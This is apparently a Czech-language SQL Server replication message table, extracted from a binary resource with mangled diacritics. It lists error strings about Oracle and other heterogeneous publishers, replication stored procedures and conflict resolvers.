�PY�kaz sp_refresh_heterogeneous_publisher nedok�zal z�skat informace o vydavateli typu Oracle %1!s!. PY�kaz sp_refresh_heterogeneous_publisher lze volat pouze za �
elem aktualizace vydavatelo typu Oracle aktu�ln definovan�ch v distributoru.

Hodnotu TRUE parametru @ignore_distributor nelze pou~�t. Pro vydavatele jin�ho typu ne~ SQL Server je tYeba nastavit hodnotu FALSE.

,Publikace jin�ho typu ne~ SQL Server nepodporuj� aktualizovateln� odbry. Vlastnosti allow_sync_tran a allow_queued_tran mus� m�t hodnotu FALSE.

8Ne�span� pokus o aktualizaci vydavatele %1!s! pomoc� pY�kazu sp_refresh_heterogeneous_publisher nezmnil ~�dn� metadata ve vydavateli typu Oracle. Zkontrolujte, zda byl identifikov�n spr�vn� vydavatel typu Oracle a zda byly splnny po~adavky aktualizace vydavatele typu Oracle.

�Vydavatele distribuce %1!s! nelze vyYadit, proto~e pro nj byly definov�ny publikace. Nejprve vyYate publikace.

�Hodnota parametru @sync_method pro vydavatele jin�ho typu ne~ SQL Server mus� b�t character 
i concurrent_c.

xOmezen� sloupce %1!s! nebylo v tabulce %2!s! nalezeno.

pIndex sloupce %1!s! nebyl v tabulce %2!s! nalezen.

�Nelze naj�t informace o tabulce pro 
l�nek %1!s!. Pravdpodobn je poakozen� m�stn� mezipame distributoru.

Sloupec [%1!s!] nelze ve 
l�nku naj�t. Zkontrolujte, zda sloupec existuje v podkladov� tabulce a zda je zahrnut ve 
l�nku.

N�stroj SQL*PLUS nelze spustit. Zkontrolujte, zda je v distributoru nainstalovan� aktu�ln� verze k�du klienta Oracle. Dala� informace z�sk�te na webu Knihy online pro SQL Server v 
�sti Xeaen� pot�~� s vydavateli Oracle ve 
l�nku Chyba syst�mu SQL Server 21617.

�Vydavatel %1!s! neexistuje. Chcete-li zobrazit seznam vydavatelo, pou~ijte ulo~enou proceduru sp_helpdistpublisher.

�Je tYeba zadat parametr @SelectColumnList i @InsColumnList.

�Verze n�stroje SQL*PLUS pY�stupn� prostYednictv�m syst�mov� promnn� Path nen� dostate
n aktu�ln� a nepodporuje publikace typu Oracle. Zkontrolujte, zda je v distributoru nainstalovan� aktu�ln� verze k�du klienta Oracle. Dala� informace z�sk�te na webu Knihy online pro SQL Server v 
�sti Xeaen� pot�~� s vydavateli Oracle ve 
l�nku Chyba syst�mu SQL Server 21620.

VeYejn� synonymum %1!s! nelze vytvoYit. Zkontrolujte, zda bylo administrativn�mu u~ivateli replikace udleno opr�vnn� CREATE SYNONYM.

Opr�vnn� SELECT nelze udlit veYejn�mu synonymu %1!s!. Zkontrolujte, zda m� administrativn� u~ivatel replikace dostate
n� opr�vnn�.

Nelze prov�st aktualizaci veYejn�ho synonyma MSSQLSERVERDISTRIBUTOR a ozna
it instanci Oracle %1!s! jako vydavatele typu SQL Server.

�V distributoru %1!s! nelze lokalizovat registrovan�ho zprostYedkovatele Oracle OLEDB, OraOLEDB.Oracle. Zkontrolujte, zda je v distributoru nainstalovan� a zaregistrovan� aktu�ln� verze zprostYedkovatele Oracle OLEDB. Dala� informace z�sk�te na webu Knihy online pro SQL Server v 
�sti Xeaen� pot�~� s vydavateli Oracle ve 
l�nku Chyba syst�mu SQL Server 21624.

�Tabulku vydavatele HREPL_PUBLISHER nelze aktualizovat v instanci Oracle %1!s!.

K datab�zov�mu serveru Oracle %1!s! se nelze pYipojit pomoc� zprostYedkovatele Oracle OLEDB OraOLEDB.Oracle. Dala� informace naleznete na webu Knihy online pro SQL Server v 
�sti Xeaen� pot�~� s vydavateli Oracle ve 
l�nku Chyba syst�mu SQL Server 21626.

�K datab�zov�mu serveru Oracle %1!s! se nelze pYipojit pomoc� zprostYedkovatele Microsoft OLEDB MSDAORA. Dala� informace z�sk�te na webu Knihy online pro SQL Server v 
�sti Xeaen� pot�~� s vydavateli Oracle ve 
l�nku Chyba syst�mu SQL Server 21627.

 Nelze aktualizovat registr distributora %1!s! a umo~nit zprostYedkovateli Oracle OLEDB OraOLEDB.Oracle spustit proces se syst�mem SQL Server. Zkontrolujte, zda m� aktu�ln� pYihl�aen� opr�vnn� pro �pravu kl�
o registru vlastnn�ch syst�mem SQL Server. Dala� informace z�sk�te na webu Knihy online pro SQL Server v 
�sti Xeaen� pot�~� s vydavateli Oracle ve 
l�nku Chyba syst�mu SQL Server 21628.

Kl�
 registru CLSID ozna
uje, ~e zprostYedkovatel Oracle OLEDB for Oracle, OraOLEDB.Oracle byl registrov�n, ale nen� v distributoru pY�tomn�. Zkontrolujte, zda je v distributoru nainstalovan� a zaregistrovan� zprostYedkovatel Oracle OLEDB. Dala� informace z�sk�te na webu Knihy online pro SQL Server v 
�sti Xeaen� pot�~� s vydavateli Oracle ve 
l�nku Chyba syst�mu SQL Server 21629.

�Nelze ur
it, zda st�le prob�h� publikace tabulky %1!s!. Obraete se na slu~bu z�kaznick� podpory.

xPublikaci tabulky %1!s! nelze zruait. Vzd�len� vol�n� vydavatele Oracle se nezdaYilo. Zkontrolujte, zda se mo~e pYihl�aen� administrativn�ho u~ivatele replikace pYipojit k vydavateli Oracle pomoc� n�stroje SQL*PLUS. Pokud se lze pYipojit, ale pot�~e potrvaj�, vyYate a znovu nakonfigurujte publikov�n� Oracle.

�Publikace jin�ho typu ne~ SQL Server nepodporuj� parametr %1!s!. Zadan� hodnota tohoto parametru mus� b�t %2!s!.

4Publikaci %1!s! nelze pYidat, proto~e vydavatel� jin�ho typu ne~ SQL Server podporuj� pouze hodnoty CHARACTER a concurrent_c parametru @sync_method.

�Parametr %1!s! nepodporuje hodnotu %2!s! pYi pou~it� jin�ch typo publikac� ne~ SQL Server. Hodnota mus� b�t %3!s!.

tByla zad�na neplatn� kombinace mo~nost� sch�matu. Publikace jin�ch typo ne~ SQL Server podporuj� pouze n�sleduj�c� mo~nosti sch�matu: 0x01, 0x02, 0x10, 0x40, 0x80, 0x4000 a 0x8000.

xPro heterogenn� publikace je po~adov�na polo~ka %1!s!.

�Zadali jste hodnotu %1!s! pro parametr @repl_freq ulo~en� procedury sp_addpublication. To pro publikace jin�ch typo ne~ SQL Server vy~aduje jednu z n�sleduj�c�ch hodnot pro parametr @sync_method: %2!s!.

�Heterogenn� vydavatel� nemohou pou~�vat dovryhodn� pYipojen�. Nastavte parametr @trusted na hodnotu false.

tVydavatel� jin�ho typu ne~ SQL Server nepodporuj� hodnotu 1 pro parametr @thirdparty_flag. PYi spouatn� ulo~en� procedury sp_adddistpublisher zadejte pro tento parametr hodnotu 0.

Parametr %1!s! je pouze pro vydavatele jin�ho typu ne~ SQL Server. Pro vydavatele typu SQL Server mus� m�t tento parametr hodnotu NULL.

THeterogenn� vydavatele po~aduj� odkazovan� server. Odkazovan� server s n�zvem %1!s! ji~ existuje. Odeberte tento odkazovan� server nebo zvolte jin� n�zev vydavatele.

�Pro parametr %1!s! mus� b�t zad�na hodnota MSSQLSERVER, ORACLE nebo ORACLE GATEWAY.

�Pro heterogenn� odbratele nen� pro parametr %1!s! podporov�na hodnota %2!s!. Mus� b�t pou~ita hodnota %3!s!.

@Hodnota %1!s! nen� platn� typ vydavatele jin�ho typu ne~ SQL Server. V pY�pad syst�mu SQL Server 2005 mus� b�t pou~ita hodnota ORACLE nebo ORACLE GATEWAY.

HServer Oracle [%1!s!] je ji~ definov�n jako vydavatel [%2!s!] v distributoru [%3!s!].[%4!s!]. VyYate tohoto vydavatele nebo vyYate veYejn� synonymum [%5!s!].

�Bal�
ek pro podporu vydavatele Oracle se nepodaYilo na
�st. VyYate sch�ma spr�vce replikace a vytvoYte jej znovu. PYi vytv�Yen� zkontrolujte, zda jsou udlena spr�vn� dokumentovan� opr�vnn�.

�Nelze zmnit vlastnost %1!s!. Vydavatel� jin�ho typu ne~ SQL Server tuto vlastnost nepodporuj�.

�Hodnota zadan� pro parametr @rowcount_only pro 
l�nek %1!s! nen� 1. Pro 
l�nek v publikaci od vydavatele jin�ho typu ne~ SQL Server je hodnota 1 jedin� platn� nastaven� pro tento parametr.

lNepodaYilo se prov�st ~�dost HREPL.%1!s! na vydavatele Oracle %2!s!. OvYte, zda ve vydavateli existuje bal�
ek k�du Oracle a zda �
et spr�vce replikace m� dostate
n� opr�vnn�.

Datab�zov� syst�m %1!s! %2!s! neexistuje. Zkontrolujte podporovan� datab�zov� syst�my a verze pomoc� dotazu na tabulku msdb.dbo.MSdbms.

Datov� typ %1!s! neexistuje. Zkontrolujte podporovan� datov� typy a mapov�n� pomoc� dotazu na tabulku msdb.dbo.sysdatatypemappings.

HDatov� typ %1!s! ji~ existuje.

(Mapov�n� datov�ho typu pro typ %1!s! neexistuje. Zkontrolujte seznam dostupn�ch mapov�n� pomoc� dotazu na tabulku msdb.dbo.sysdatatypemappings.

pMapov�n� datov�ho typu pro typ %1!s! ji~ existuje.

�Mapov�n� datov�ho typu neexistuje. Zkontrolujte seznam mapov�n� pomoc� dotazu na tabulku msdb.dbo.sysdatatypemappings.

�Tuto proceduru nelze spustit pro vydavatele typu SQL Server. Vydavatel mus� b�t jin�ho typu ne~ SQL Server.

�Hodnota zadan� pro parametr @full_or_fast pro 
l�nek %1!s! mus� b�t 0, 1 nebo 2.

�Hodnota zadan� pro parametr @shutdown_agent pro 
l�nek %1!s! mus� b�t 0 nebo 1.

�Zdrojov� objekt [%1!s!].[%2!s!] pro vydavatele jin�ho typu ne~ SQL Server nebyl nalezen nebo nen� podporov�n. Pokud objekt existuje, ovYte, zda splHuje po~adavky pro to, aby mohl b�t publikov�n.

�Nelze naj�t platn� prim�rn� kl�
 pro zdrojovou tabulku [%1!s!].[%2!s!]. Platn� prim�rn� kl�
 je nutn� pro publikov�n� tabulky. PYidejte nebo opravte definici prim�rn�ho kl�
e pro zdrojovou tabulku.

�Index [%1!s!] obsahuje jedine
n� sloupec s mo~nou hodnotou null.

�Kl�
 [%1!s!] obsahuje jedine
n� sloupec s mo~nou hodnotou null.

�Nelze zadat v�ce ne~ %1!s! n�zvo sloupco pro index nebo prim�rn� kl�
, proto~e takov� po
et pak pYesahuje maxim�ln� po
et sloupco podporovan� syst�mem SQL Server. Bylo zad�no %2!s! sloupco.

0Index %1!s! nebyl vytvoYen. D�lka kl�
e tohoto indexu je %2!s! bajto 
i v�ce. Maxim�ln� d�lka kl�
e podporovan� syst�mem SQL Server je %3!s! bajto.

�Omezen� %1!s! nebylo vytvoYeno, proto~e jeden nebo v�ce sloupco v omezen� nejsou publikov�ny. Bu zahrHte vaechny sloupce do publikovan�ho 
l�nku, nebo upravte omezen� a odeberte sloupce, kter� nejsou publikov�ny.

`Sloupec [%1!s!] nelze publikovat, proto~e pou~�v� nepodporovan� datov� typ [%2!s!]. Zobrazte podporovan� datov� typy pomoc� dotazu na tabulku msdb.dbo.sysdatatypemappings.

\PYipojen� k serveru [%1!s!] se nezdaYilo.

`Nelze spustit jako proceduru. Spr�va vydavatele jin�ho typu ne~ SQL Server mus� b�t prov�dna v pYidru~en�m distributorovi SQL Server. Spusete proceduru v distributorovi.

�PYihlaaovac� jm�no %1!s! nem� dostate
nou autorizaci ke spuatn� tohoto pY�kazu.

�Testovac� pYipojen� k vydavateli [%1!s!] se nezdaYilo. Zkontrolujte informace pro ovYov�n�.

�Nelze aktualizovat odkazovan� server [%1!s!] pro pYihl�aen� [%2!s!].

�Pro jednu tabulku nelze zadat v�ce ne~ %1!s! indexo. Bylo zad�no %2!s! indexo. Indexy nad limitem byly ignorov�ny.

�Heterogenn� odbratel %1!s! nemohl pYidat odbr pro heterogenn� publikaci %2!s!, proto~e metoda synchronizace t�to publikace nen� character, concurrent_c ani database snapshot character.

�Heterogenn� vydavatel %1!s! nemo~e b�t definov�n jako odbratel.

�Parametr %1!s! mo~e b�t nastaven na hodnotu %2!s! jen tehdy, kdy~ je parametr %3!s! nastaven na hodnotu %4!s!.

�Publikace peer-to-peer podporuj� u parametru %1!s! pouze hodnotu %2!s!.

XAgent distribuce nemohl aktualizovat poYadov� 
�sla polo~ek (LSN) v mezipamti pro polo~ky Originator %1!s!, OriginatorDB %2!s!, OriginatorDBVersion %3!s! a OriginatorPublicationID %4!s!. Zastavte a znovu spusete agenta distribuce. Pokud pot�~e potrvaj�, obraete se na slu~bu z�kaznick� podpory.

�Aktu�ln� u~ivatel %1!s! nem� platn� mapov�n� pYihlaaovac�ho jm�na odkazovan�ho serveru pro vydavatele jin�ho typu ne~ SQL Server [%2!s!]. Replikace se k vydavateli pYipojuje prostYednictv�m odkazovan�ho serveru. Namapujte pYihlaaovac� jm�no u~ivatele k tomuto odkazovan�mu serveru pomoc� ulo~en� procedury sp_addlinkedsrvlogin.

Tabulku [%1!s!].[%2!s!] nelze publikovat. Spr�vce replikace mus� m�t opr�vnn� SELECT grant nebo SELECT grant prostYednictv�m polo~ky PUBLIC, aby mohl publikovat tuto tabulku. Opr�vnn� SELECT grant zalo~en� na roli (pokud existuje) nen� dosta
uj�c�.

�Nelze ovYit opr�vnn� pYihlaaovac�ho jm�na spr�vce pro vydavatele Oracle %1!s!. Zkontrolujte informace o pYipojen� a ovYte, zda se mo~ete k vydavateli pYipojit pomoc� nkter�ho n�stroje, napY�klad SQL*PLUS.

0Spr�vce replikace pro vydavatele Oracle %1!s! m� nedostate
n� opr�vnn�. Po~adovan� opr�vnn� naleznete ve skriptu /MSSQL/Install/oracleadmin.sql.

�}�dost %1!s! pro filtr sch�matu Oracle pro vydavatele Oracle %2!s! se nezdaYila.

�Operace %1!s! nen� platn�. Platn� operace jsou add, drop a help.

�Filtry sch�matu jsou podporov�ny pouze pro vydavatele Oracle. Vydavatel %1!s! je vydavatel %2!s!.

�Aktu�ln� pYihlaaovac� jm�no %1!s! nen� v pY�stupov�m seznamu ~�dn� publikace ve vydavateli %2!s!. Pou~ijte pYihlaaovac� jm�no, kter� je v pY�stupov�m seznamu publikace, nebo pYidejte toto pYihlaaovac� jm�no do pY�stupov�ho seznamu publikace.

�Hodnota NULL pro parametr @schema je pro operace filtru sch�matu ADD a DROP neplatn�.

�Pro ulo~en� procedury odbratele pro 
l�nek %1!s! v publikaci %2!s! se nepodaYilo vytvoYit skript.

�Parametr %1!s! neml~e m�t hodnotu NULL nebo b�t pr�zdn�, kdy~ je %2!s! nastaven na hodnotu 0 (ovYov�n� syst�mu SQL Server). Zadejte pYihlaaovac� �daje nebo nastavte re~im zabezpe
en� na hodnotu 1 (integrovan� ovYov�n�).

�Ulo~en� procedura plat� pouze pro vydavatele Oracle. Vydavatel %1!s! je vydavatel %2!s!.

PParametr %1!s! ji~ nen� podporov�n.

hMicrosoft SQL Server Additive Conflict Resolver

lMicrosoft SQL Server Averaging Conflict Resolver

�Microsoft SQL Server DATETIME (Earlier Wins) Conflict Resolver

�Microsoft SQL Server DATETIME (Later Wins) Conflict Resolver

tMicrosoft SQL Server Download Only Conflict Resolver

hMicrosoft SQL Server Maximum Conflict Resolver

|Microsoft SQL Server Merge Text Columns Conflict Resolver

hMicrosoft SQL Server Minimum Conflict Resolver

dMicrosoft SQL Server Priority Column Resolver

�Microsoft SQL Server Subscriber Always Wins Conflict Resolver

pMicrosoft SQL Server Upload Only Conflict Resolver

dMicrosoft SQLServer Stored Procedure Resolver

PYeklada
 
l�nko %1!s! nelze zaregistrovat. K tomu mo~e doj�t, pokud �
et, pod kter�m je syst�m SQL Server spuatn, nem� pY�stup k distribu
n� datab�zi. Do tabulky MSmerge_articleresolver v distribu
n� datab�zi ru
n pYidejte vlastn� n�zev pYeklada
e a ID tY�dy.

N�zev pYeklada
e 
l�nko nemo~e obsahovat pr�zdn� Yetzec nebo hodnotu NULL. Zadejte platnou hodnotu parametru @article_resolver.

(Parametr pYeklada
e COM @resolver_clsid nemo~e obsahovat pr�zdn� Yetzec nebo hodnotu NULL. Zadejte platnou hodnotu parametru @resolver_clsid.

pNelze naj�t �lohu, kter� by se shodovala s ID nebo n�zvem zadan�mi v parametrech @dynamic_snapshot_jobid nebo @dynamic_snapshot_jobname. OvYte hodnoty zadan� pro tyto parametry.

�Roza�Yenou aktiva
n� ud�lost pro replikaci ud�losti %1!s! se nepodaYilo pYidat.

hHodnota zadan� pro parametr @pubid procedury %1!s! nen� platn� nebo je hodnoty NULL. OvYte, zda agent slou
en� b~� spr�vn. Pokud pot�~e potrvaj�, inicializujte odbr znovu.

LZobrazen� nelze zmnit. Indexovan� zobrazen� replikovan� jako tabulka nelze zmnit na neindexovan� zobrazen�. PYed pokusem o zmnu vyYate zobrazen� z publikace.

�Operaci replikace nelze dokon
it. Kontrola zabezpe
en� aktu�ln�ho u~ivatele se nezdaYila. Pouze 
lenov� pevn� role serveru sysadmin nebo pevn� datab�zov� role db_owner nebo db_ddladmin mohou prov�st tuto operaci.

l�nek mo~e podporovat zjiaeov�n� konflikto na �rovni logick�ch z�znamo pouze, pokud pou~�v� odstraHov�n� konflikto logick�ch z�znamo.

|Vlastnost @keep_partition_changes nelze nastavit na hodnotu true. Vlastnost @publication_compatibility_level je nastavena na hodnotu 90RTM nebo vyaa� a vlastnost @use_partition_groups je nastavena na hodnotu true. Nastavte ni~a� �roveH kompatibility nebo nastavte vlastnost @use_partition_groups na hodnotu false.

0Tabulku %1!s! nelze replikovat, proto~e obsahuje nepYesn� sloupec prim�rn�ho kl�
e. VytvoYte tabulku znovu bez klauzule PERSISTED a opakujte akci.

�Omezen� 
i v�choz� hodnotu bez explicitn�ho n�zvu nelze pYidat, proto~e tabulka je zahrnuta v publikaci, kter� replikuje ud�losti DDL. Zadejte jedine
n� n�zev omezen� a pY�kaz DDL opakujte.

XPou~it� bal�
ko slu~by DTS (Data Transformation Services) v replikaci vy~aduje heslo, kter� nem� hodnotu NULL a nen� pr�zdn�. Zadejte platnou hodnotu parametru %1!s!.

0Datab�zi %1!s! nelze otevY�t. Upgrade replikace %2!s! nelze prov�st. Spusete pY�kaz %3!s! znovu z datab�ze %4!s!, a~ bude datab�ze %5!s! pY�stupn�.

�Publikace peer-to-peer nepodporuj� replikaci sloupco 
asov�ho raz�tka jako typ varbinary(8). l�nek s touto mo~nost� nelze pYidat. Tak� nelze pYidat nebo zmnit tabulku, aby obsahovala sloupec 
asov�ho raz�tka jako typ varbinary(8).

�Zdrojov� objekt [%1!s!].[%2!s!] je do
asn� objekt a nelze jej publikovat.

Tabulku protokolu 
l�nku nelze pYesunout do jin�ho tabulkov�ho prostoru. OvYte, zda se mo~e pYihl�aen� administrativn�ho u~ivatele replikace pYipojit k vydavateli Oracle pomoc� n�stroje SQL*PLUS. Pokud se mo~ete pYipojit, ale pot�~e potrvaj�, mo~e to b�t zposobeno nedostate
n�mi opr�vnn�mi nebo nedostatkem m�sta v tabulkov�m prostoru. Zkontrolujte chybov� zpr�vy syst�mu Oracle.

lVlastnost %1!s! nen� pro vydavatele %2!s! platn�.

lVlastnost %1!s! nen� pro publikace %2!s! platn�.

$Vlastnost %1!s! nelze zmnit. Nejprve je tYeba volat ulo~enou proceduru sp_articleview, kter� inicializuje 
l�nek. Pot� lze vlastnost zmnit.

�Odbratel Oracle %1!s! nebyl nalezen. Podporu zptn� smy
ky nelze zkontrolovat.

HOd vydavatele Oracle %1!s! nelze z�skat informace o distributorovi. Obousmrn� publikov�n� vy~aduje, aby vydavatel Oracle existoval dY�ve ne~ odbratel Oracle.

PN�zev vydavatele Oracle je %1!s! a n�zev odbratele Oracle je %2!s!. Obousmrn� publikov�n� Oracle vy~aduje, aby byly n�zvy vydavatele a odbratele Oracle stejn�.

�Informace o povodci se pro odbratele Oracle %1!s! nepodaYilo na
�st.

�Obousmrn� publikov�n� Oracle vy~aduje, aby ml parametr %1!s! hodnotu %2!s!.

�Proceduru nebo zobrazen� filtru nelze generovat. OvYte, zda lze hodnotu zadanou pro parametr @filter_clause funkce sp_addarticle pYidat do klauzule WHERE pY�kazu SELECT pro vytvoYen� platn�ho dotazu.

|D�lka znako polo~ky %1!s! nesm� pYekro
it hodnotu %2!s!.

pPYipojen� k vydavateli Oracle %1!s! nelze nav�zat. Zkontrolujte informace o pYipojen� a ovYte, zda se mo~ete k vydavateli pYipojit pomoc� nkter�ho n�stroje, napY�klad SQL*PLUS.

Ll�nek byl vyYazen z distributora, ale informace vydavatele %1!s! vyYazeny nebyly. }�dn� akce nen� po~adov�na. Je-li vydavatel vyYazen, jsou informace vy
iatny.

�Vydavatel byl vyYazen z distributora, ale informace vydavatele %1!s! vyYazeny nebyly. PYipojte se k vydavateli Oracle pomoc� n�stroje SQL*PLUS a vyYate administrativn�ho u~ivatele replikace.

�Tabulka %1!s! neobsahuje prim�rn� kl�
 po~adovan� pro transak
n� replikaci. VytvoYte prim�rn� kl�
 tabulky.

|Zobrazen� %1!s! nelze publikovat jako tabulku, proto~e zobrazen� neobsahuje jedine
n� clusterovan� index. Zobrazen� publikujte jako zobrazen� nebo pYidejte jedine
n� clusterovan� index.

�Aktu�ln� u~ivatel %1!s! nem� opr�vnn� pro pY�kaz SELECT pro tabulku %2!s!. X�dky v odbrateli, kter� ve front obsahuj� aktualizace 
ekaj�c� na vyY�zen�, je mo~n� na
�st pouze s opr�vnn�m pro pY�kaz SELECT.

Tabulka %1!s! zadan� v parametru @tablename procedury sp_getqueuedrows nen� 
�st� ~�dn�ho aktivn�ho inicializovan�ho odbru ve front. Spuatn�m agenta sn�mku, agenta distribuce a agenta 
te
ky fronty ovYte, zda jsou odbry ve front spr�vn inicializov�ny.

Zpracov�ni bylo ukon
eno. Velikost objektu resultset pro proceduru sp_getqueuedrows je v�ce ne~ 16 000, co~ je maxim�ln� povolen� n�vratov� hodnota procedury. Ne~ proceduru spust�te znovu, vypr�zdnte frontu odbratele spuatn�m agenta 
te
ky fronty.

|Objekt %1!s! se nepodaYilo ozna
it jako syst�mov� objekt.

�Podle nastaven� 
l�nku by mla m�t tabulka %1!s! sloupec identity, ale ta sloupec neobsahuje. Pomoc� procedury sp_helparticle ovYte nastaven� 
l�nku a v pY�pad potYeby jej zmHte pomoc� procedury sp_changearticle.

�Odbr je ur
en jen pro 
ten�. Publikace, se kterou se tento odbr synchronizuje, sice povoluje aktualizace odbratele, ale parametr @update_mode procedury sp_addsubscription byl nastaven na hodnotu read-only (jen pro 
ten�). Chcete-li aktualizace povolit, je tYeba odbr vyYadit, znovu vytvoYit a zadat pro parametr @update_mode jinou hodnotu.

Pro odbr vydavatele %1!s! datab�ze %2!s! publikace %3!s! nelze naj�t platn� ID agenta 
te
ky fronty. Zadan� odbr publikace aktualizuj�c�ho odbratele nen� inicializov�n. Odbr mo~ete inicializovat spuatn�m agenta sn�mku, agenta distribuce a agenta 
te
ky fronty.

0Sloupec %1!s! nelze pYidat do tabulky %2!s!. Tabulka ji~ obsahuje maxim�ln� po
et sloupco povolen� pro 
l�nky ve slu
ovac� publikaci (246 sloupco).

�Skript pro replikaci nelze spustit v hlavn� datab�zi, aktu�ln� relace bude ukon
ena. Skript je tYeba spouatt v distribu
n� datab�zi a hlavn� datab�zi nelze jako distribu
n� datab�zi pou~�t.

 Skript pro replikaci nelze spustit, aktu�ln� relace bude ukon
ena. Zkontrolujte chyby vr�cen� syst�mem SQL Server bhem prov�dn� skriptu.

�Slu~ba X�zen� front zpr�v neb~�. Spusete slu~bu a opakujte operaci.

DPublikaci nelze vytvoYit. Hodnotu msmq lze pro parametr @queue_type zadat pouze na platform�ch Microsoft Windows NT. Zadejte pro tento parametr hodnotu sql.

|Tabulka %1!s! obsahuje sloupec identity, kter� je ozna
en atributem NOT FOR REPLICAITON, ale parametr @identitymanagementoption procedury sp_addarticle je nastaven na hodnotu none. Chcete-li zapnout podporu okam~it aktualizuj�c�ch odbro, zadejte pro parametr @identitymanagementoption hodnotu manual nebo auto.

�PYi prov�dn� procedury sp_adddistributor pro vzd�len�ho distributora je tYeba pou~�t heslo. PYi spuatn� procedury vydavatelem a distributorem mus� b�t pou~ito stejn� heslo jako to, kter� bylo zad�no pro parametr @password.

�Hodnota %1!s! je mimo podporovan� rozsah vlastnost� %2!s! a %3!s!.

�Vlastnost %1!s! po~aduje nastaven� parametro @force_invalidate_snapshot a @force_reinit_subscription na hodnotu true.

PTato procedura je podporov�na pouze pro vydavatele jin�ho typu ne~ SQL Server. Vydavatel %1!s!, pro kter�ho je procedura spouatna, je vydavatelem typu SQL Server.

�Pro 
l�nek %1!s! se nepodaYilo vygenerovat rastrov� obr�zek sloupce.

�Pro 
l�nek %1!s! se nepodaYilo vygenerovat rastrov� obr�zek publikovan�ho sloupce.

�Pro 
l�nek %1!s! se nepodaYilo vygenerovat n�zev zobrazen� 
l�nku.

HPro 
l�nek %1!s! nelze do vydavatele Oracle pYidat objekty vydavatele Oracle. Zkontrolujte informace o pYipojen� a ovYte, zda se mo~ete k vydavateli pYipojit pomoc� nkter�ho n�stroje, napY�klad SQL*PLUS. OvYte, zda m� sch�ma administrativn�ho u~ivatele replikace po~adovan� opr�vnn�.

TPro vydavatele jin�ho typu ne~ SQL Server nelze naj�t nejm�n jeden objekt %1!s!. Vydavatele a sch�ma administrativn�ho u~ivatele replikace vyYate a vytvoYte znovu.

�Heterogenn� metadata nelze na
�st. Zkontrolujte informace o pYipojen�.

HSloupec prim�rn�ho kl�
e %1!s! nelze pYidat do 
l�nku %2!s!. Pokud je vydavatel jin�ho typu ne~ SQL Server, je pravdpodobn�, ~e prim�rn� kl�
 poruail omezen� syst�mu SQL Server pro po
et a d�lku sloupco. Dala� informace naleznete v chybov�ch zpr�v�ch vr�cen�ch procedurou sp_addarticle.

�Aktiva
n� ud�losti vydavatele a tabulku protokolu 
l�nku nelze pYidat do vydavatele Oracle pro 
l�nek %1!s!. Zkontrolujte informace o pYipojen� a ovYte, zda se mo~ete k vydavateli pYipojit pomoc� nkter�ho n�stroje, napY�klad SQL*PLUS. OvYte, zda m� sch�ma administrativn�ho u~ivatele replikace po~adovan� opr�vnn�.

xParametr @rowfilter vy~aduje hodnotu, kter� nen� NULL.

�Atributy �kolu XactSet syst�mu Oracle pro vydavatele %1!s! se nepodaYilo z�skat.

�Atributy �kolu XactSet syst�mu Oracle pro vydavatele %1!s! se nepodaYilo aktualizovat.

�PY�znak povolen� d�vkov�n� Xact syst�mu Oracle pro vydavatele %1!s! se nepodaYilo z�skat.

,ProceduYe sp_IHSetXactBatching byl pYed�n neplatn� parametr. Bitov� pY�znak mo~nosti povolit 
i zak�zat d�vkov�n� Xact mus� m�t hodnotu 0 nebo 1.

�PY�znak povolen� d�vkov�n� Xact syst�mu Oracle pro vydavatele %1!s! se nepodaYilo nastavit.

 Tabulku %1!s!.%2!s! od vydavatele %3!s! nelze publikovat. Zkontrolujte informace o pYipojen� a ovYte, zda se mo~ete k vydavateli pYipojit pomoc� nkter�ho n�stroje, napY�klad SQL*PLUS. OvYte, zda m� sch�ma administrativn�ho u~ivatele replikace po~adovan� opr�vnn�.

�Tabulka %1!s!.%2!s! se ji~ vyskytuje v transak
n� publikaci ve vydavateli typu Oracle Gateway %3!s!. PYi pou~it� mo~nosti Oracle Gateway mo~e b�t tabulka publikovan� pomoc� transak
n� replikace zahrnuta pouze v jedn� publikaci. Chcete-li tuto tabulku publikovat ve v�ce ne~ jedn� publikaci, je tYeba zmnit konfiguraci vydavatele Oracle na mo~nost Oracle Complete.

�Tabulka %1!s!.%2!s! se ji~ vyskytuje v transak
n� publikaci %3!s! ve vydavateli %4!s!. V�choz� mo~nost publikov�n� Oracle Gateway povoluje zahrnut� tabulky jako 
l�nku do libovoln�ho po
tu sn�mkov�ch publikac�, ale pouze do jedn� transak
n� publikace. Chcete-li tabulku publikovat ve v�ce ne~ jedn� transak
n� publikaci, pou~ijte mo~nost publikace Oracle Complete. Chcete-li mo~nosti publikace zmnit, je tYeba vydavatele vyYadit a nakonfigurovat znovu.

(Vydavatel� jin�ho typu ne~ SQL Server jsou podporov�ni pouze v edic�ch syst�mu SQL Server Enterprise a Developer. Edice t�to instance je %1!s!.

�Hodnota zadan� pro parametr @propertyname nen� platn�. Pou~ijte jednu z n�sleduj�c�ch hodnot: %1!s!.

�Hodnota zadan� pro vlastnost %1!s! nen� platn�. Pou~ijte jednu z n�sleduj�c�ch hodnot: %2!s!.

�Vlastnosti xactsetjobinterval je tYeba pYiYadit hodnotu vta� nebo rovnou 0.

��lohu agenta nelze vytvoYit. Hodnota parametru %1!s! mus� b�t platn� pYihl�aen� syst�mu Windows ve tvaru: MACHINE\Login nebo DOMAIN\Login. Dala� informace naleznete v dokumentaci k produktu %2!s!.

dAdministrativn� proceduru replikace nelze spustit. �lohu agenta %1!s! je nejprve tYeba pYidat pomoc� pY�kazu %2!s!. Dala� informace naleznete v dokumentaci k produktu %3!s!.

�Agenta %1!s! pro vydavatele %2!s! datab�ze %3!s! publikace %4!s! nelze naj�t. VytvoYte agenta pomoc� pY�sluan� procedury: sp_addpublication_snapshot, sp_addlogreader_agent nebo sp_addqreader_agent.

�Spole
n� mez generace t�to repliky je neplatn�, proto~e neexistuje nebo byla vy
iatna metadata neroza�Yen�ch zmn.

HUlo~en� proceduYe sp_createagentparameter se do syst�mov� tabulky msdb.dbo.MSagentparameterlist nepodaYilo pYidat nejm�n jeden parametr. Zkontrolujte chyby vr�cen� procedurou sp_createagentparameter a chyby vr�cen� syst�mem SQL Server bhem prov�dn� procedury sp_createagentparameter.

�Proces vytvoYen� profilu agenta nemo~e ovYit zadanou hodnotu parametru agenta. %1!s! nen� platn� hodnota pro parametr %2!s!. Hodnota mus� b�t cel� 
�slo mena� nebo rovno %3!s!. OvYte, zda je replikace nainstalov�na spr�vn.

Metadata parametru agenta nelze aktualizovat. Replikaci se nepodaYilo vlo~it parametr %1!s! do tabulky %2!s!. OvYte, zda je replikace nainstalovan� spr�vn. Zkontrolujte chyby vr�cen� syst�mem SQL Server bhem prov�dn� procedury sp_createagentparameter.

